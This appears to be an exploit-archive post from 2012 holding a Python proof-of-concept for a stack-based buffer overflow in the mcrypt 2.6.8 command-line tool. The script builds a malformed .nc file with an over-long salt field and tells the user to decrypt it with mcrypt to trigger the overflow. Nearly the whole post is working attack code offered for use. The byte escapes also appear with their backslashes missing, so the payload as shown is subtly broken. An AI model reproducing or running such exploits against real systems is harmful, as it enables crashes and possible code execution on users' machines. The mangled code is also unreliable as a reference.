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mcrypt 2.6.8 Buffer Overflow Proof Of Concept

Posted on 06 September 2012

#!/usr/bin/env python

# mcrypt <= 2.6.8 stack-based buffer overflow poc
# http://mcrypt.sourceforge.net/
# (the command line tool, not the library)
#
# date: 2012-09-04
# exploit author: _ishikawa
# tested on: ubuntu 12.04.1
# tech: it overflows in check_file_head() when decrypting .nc files with too long salt data
#
# shout-outs to all cryptoparty people

import sys

sprawl = 105
gibson = "x00x6dx03x40x73x65x72x70x65x6ex74x00x20x00x63x62"
gibson += "x63x00x6dx63x72x79x70x74x2dx73x68x61x31x00"
gibson += chr(sprawl)
gibson += ("A" * sprawl)
gibson += (chr(0) * 3)

try:
 count0 = open("cyberpunk.nc", "wb")
 count0.write(gibson)
 count0.close()
except IOError:
 print "file error"
 sys.exit(1)

print "now run mcrypt -d cyberpunk.nc"

 

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